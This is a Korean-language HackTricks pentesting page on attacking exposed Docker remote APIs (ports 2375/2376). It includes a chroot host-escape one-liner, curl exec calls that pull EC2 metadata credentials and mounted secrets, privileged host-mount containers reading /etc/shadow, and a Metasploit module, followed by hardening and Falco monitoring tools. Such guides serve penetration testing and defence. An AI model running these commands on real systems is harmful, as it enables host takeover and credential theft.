hacktricks/network-services-pentesting/2375-pentesting-docker.md
2024-02-10 21:30:13 +00:00

23 KiB
Raw Blame History

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Docker 기본

Docker란

Docker는 컨테이너화 산업에서 선두 플랫폼으로, 지속적인 혁신을 주도합니다. Docker는 전통적인부터 미래적인까지 다양한 애플리케이션의 쉬운 생성과 배포를 지원하며, 다양한 환경에서의 안전한 배포를 보장합니다.

기본 Docker 아키텍처

  • containerd: 컨테이너의 라이프사이클 관리를 포함한 컨테이너의 종합적인 관리를 담당하는 핵심 런타임입니다. 이는 이미지 전송 및 저장과 함께 컨테이너의 실행, 모니터링 및 네트워킹을 처리하는 것을 포함합니다. containerd에 대한 더 자세한 통찰력추가로 탐구됩니다.
  • 컨테이너 쉼헤드리스 컨테이너의 처리에서 runc로의 원활한 이행을 위해 중간 역할을 합니다.
  • runc: 가벼운 범용 컨테이너 런타임 기능으로 인해 runc는 OCI 표준과 일치합니다. containerd에서는 OCI 지침에 따라 컨테이너를 시작하고 관리하는 데 사용되며, 원래의 libcontainer에서 발전되었습니다.
  • **grpc**는 containerd와 도커 엔진 간의 통신을 용이하게하며 효율적인 상호 작용을 보장합니다.
  • **OCI**는 런타임 및 이미지에 대한 OCI 사양을 유지하는 데 중요한 역할을 합니다. 최신 Docker 버전은 OCI 이미지 및 런타임 표준 모두와 일치합니다.

기본 명령어

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd는 특히 Docker와 Kubernetes와 같은 컨테이너 플랫폼의 요구를 충족시키기 위해 개발되었습니다. 이는 리눅스, 윈도우, 솔라리스 등 다양한 운영 체제에서 컨테이너를 실행하는 것을 단순화하기 위해 운영 체제별 기능과 시스템 호출을 추상화합니다. Containerd의 목표는 사용자가 필요로 하는 핵심 기능만 포함하도록 하여 불필요한 구성 요소를 배제하는 것입니다. 그러나 이 목표를 완전히 달성하는 것은 어렵다고 인정되고 있습니다.

중요한 설계 결정 중 하나는 Containerd가 네트워킹을 처리하지 않는다는 것입니다. 네트워킹은 분산 시스템에서 중요한 요소로 간주되며, 소프트웨어 정의 네트워킹(SDN) 및 서비스 검색과 같은 복잡성은 플랫폼마다 크게 다릅니다. 따라서 Containerd는 네트워킹 측면을 지원하는 플랫폼에 맡기고 있습니다.

Docker는 Containerd를 사용하여 컨테이너를 실행하지만, Containerd는 Docker의 일부 기능만 지원한다는 점을 강조해야 합니다. 특히, Containerd는 Docker에 있는 네트워크 관리 기능이 없으며 Docker 스웜의 직접적인 생성을 지원하지 않습니다. 이 차이점은 Containerd의 역할이 컨테이너 런타임 환경으로서 집중되어 있으며, 더 특화된 기능은 통합되는 플랫폼에 위임된다는 것을 강조합니다.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman은 Red Hat에서 개발 및 유지 관리되는 Open Container Initiative (OCI) 표준을 준수하는 오픈 소스 컨테이너 엔진입니다. Podman은 데몬 없는 아키텍처루트리스 컨테이너 지원과 같은 몇 가지 독특한 기능으로 Docker와 구별됩니다. 이를 통해 사용자는 루트 권한 없이 컨테이너를 실행할 수 있습니다.

Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령을 사용할 수 있습니다. 이 호환성은 Buildah(컨테이너 이미지 빌드)와 Skopeo(이미지 push, pull, inspect 등의 작업)와 같은 도구를 포함한 생태계에도 확장됩니다. 이러한 도구에 대한 자세한 내용은 GitHub 페이지에서 확인할 수 있습니다.

주요 차이점

  • 아키텍처: Docker의 클라이언트-서버 모델과 달리 Podman은 데몬 없이 작동합니다. 이 설계는 컨테이너가 시작한 사용자의 권한으로 실행되므로 루트 액세스가 필요하지 않아 보안을 강화합니다.

  • Systemd 통합: Podman은 컨테이너 관리를 위해 systemd와 통합되어 있어 systemd 단위를 통해 컨테이너를 관리할 수 있습니다. 이는 Docker가 주로 Docker 데몬 프로세스를 관리하는 데 systemd를 사용하는 것과 대조적입니다.

  • 루트리스 컨테이너: Podman의 중요한 기능 중 하나는 컨테이너를 시작한 사용자의 권한으로 실행할 수 있는 능력입니다. 이 접근 방식은 컨테이너 침해와 관련된 위험을 최소화하며, 공격자가 손상된 사용자의 권한만 획득하고 루트 액세스는 얻지 못하도록 보장합니다.

Podman은 사용자 권한 관리와 기존 Docker 워크플로와의 호환성을 강조하여 안전하고 유연한 Docker 대안을 제공합니다.

{% hint style="info" %} Podman은 Docker와 동일한 API를 지원하기 때문에 podman에서도 docker와 같은 명령을 사용할 수 있습니다. 예를 들어:

podman --version
podman info
pdoman images ls
podman ls

{% endhint %}

기본 정보

원격 API는 기본적으로 2375 포트에서 실행됩니다. 기본적으로 인증이 필요하지 않으므로 공격자는 특권이 있는 도커 컨테이너를 시작할 수 있습니다. 원격 API를 사용하여 호스트 또는 (루트 디렉토리)를 컨테이너에 연결하고 호스트 환경의 파일을 읽거나 쓸 수 있습니다.

기본 포트: 2375

PORT    STATE SERVICE
2375/tcp open  docker

열거

수동

도커 API를 열거하기 위해 docker 명령어나 다음 예시와 같이 curl을 사용할 수 있습니다.

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

만약 docker 명령어로 원격 docker API에 연결할 수 있다면, 서비스와 상호작용하기 위해 이전에 언급된 docker 명령어실행할 수 있습니다.

{% hint style="info" %} export DOCKER_HOST="tcp://localhost:2375"를 사용하여 -H 매개변수를 사용하지 않고도 docker 명령어를 실행할 수 있습니다. {% endhint %}

빠른 권한 상승

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

가끔 2376 포트에서 TLS 엔드포인트를 볼 수 있습니다. 도커 클라이언트로는 연결할 수 없지만 curl을 사용하여 연결할 수 있습니다.

#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

만약 더 많은 정보가 필요하다면, 명령어를 복사한 곳에서 더 많은 정보를 얻을 수 있습니다: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

자동화된 방법

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising

다음 페이지에서는 도커 컨테이너에서 탈출하는 방법을 찾을 수 있습니다:

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}

이를 악용하면 컨테이너에서 탈출할 수 있으며, 원격 머신에서 약한 컨테이너를 실행하고, 이를 통해 머신을 침해할 수 있습니다:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

권한 상승

도커를 사용하는 호스트 내부에 있다면 이 정보를 읽어 권한을 상승시키는 시도를 해볼 수 있습니다.

실행 중인 도커 컨테이너에서 비밀번호 찾기

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

env (환경 변수 섹션)에서 비밀을 찾을 수 있습니다:

  • 비밀번호.
  • IP 주소.
  • 포트.
  • 경로.
  • 기타... .

파일을 추출하려면:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Docker 보안

Docker 설치 및 사용 보안

  • 현재 Docker 설치를 검사하기 위해 https://github.com/docker/docker-bench-security 도구를 사용할 수 있습니다.
  • ./docker-bench-security.sh
  • 현재 Docker 설치를 검사하기 위해 https://github.com/kost/dockscan 도구를 사용할 수 있습니다.
  • dockscan -v unix:///var/run/docker.sock
  • 다른 보안 옵션으로 컨테이너를 실행할 때 컨테이너가 가질 권한을 확인하기 위해 https://github.com/genuinetools/amicontained 도구를 사용할 수 있습니다. 이는 컨테이너를 실행하는 데 일부 보안 옵션을 사용하는 것의 영향을 알기 위해 유용합니다:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Docker 이미지 보안

  • 다른 Docker 이미지를 스캔하고 취약점을 찾기 위해 https://github.com/quay/clair의 Docker 이미지를 사용할 수 있습니다.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Dockerfiles 보안

수상한 활동 로깅

  • 실행 중인 컨테이너에서 수상한 동작을 감지하기 위해 https://github.com/falcosecurity/falco 도구를 사용할 수 있습니다.
  • 다음 청크에서 Falco가 커널 모듈을 컴파일하고 삽입하는 방법을 확인하세요. 그 후, 규칙을 로드하고 수상한 활동을 기록합니다. 이 경우 2개의 특권 컨테이너가 시작되었고, 그 중 하나에 민감한 마운트가 있음을 감지했으며, 몇 초 후에는 컨테이너 내에서 쉘이 열렸음을 감지했습니다.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Docker 모니터링

Docker를 모니터링하기 위해 auditd를 사용할 수 있습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기!

HackTricks를 지원하는 다른 방법: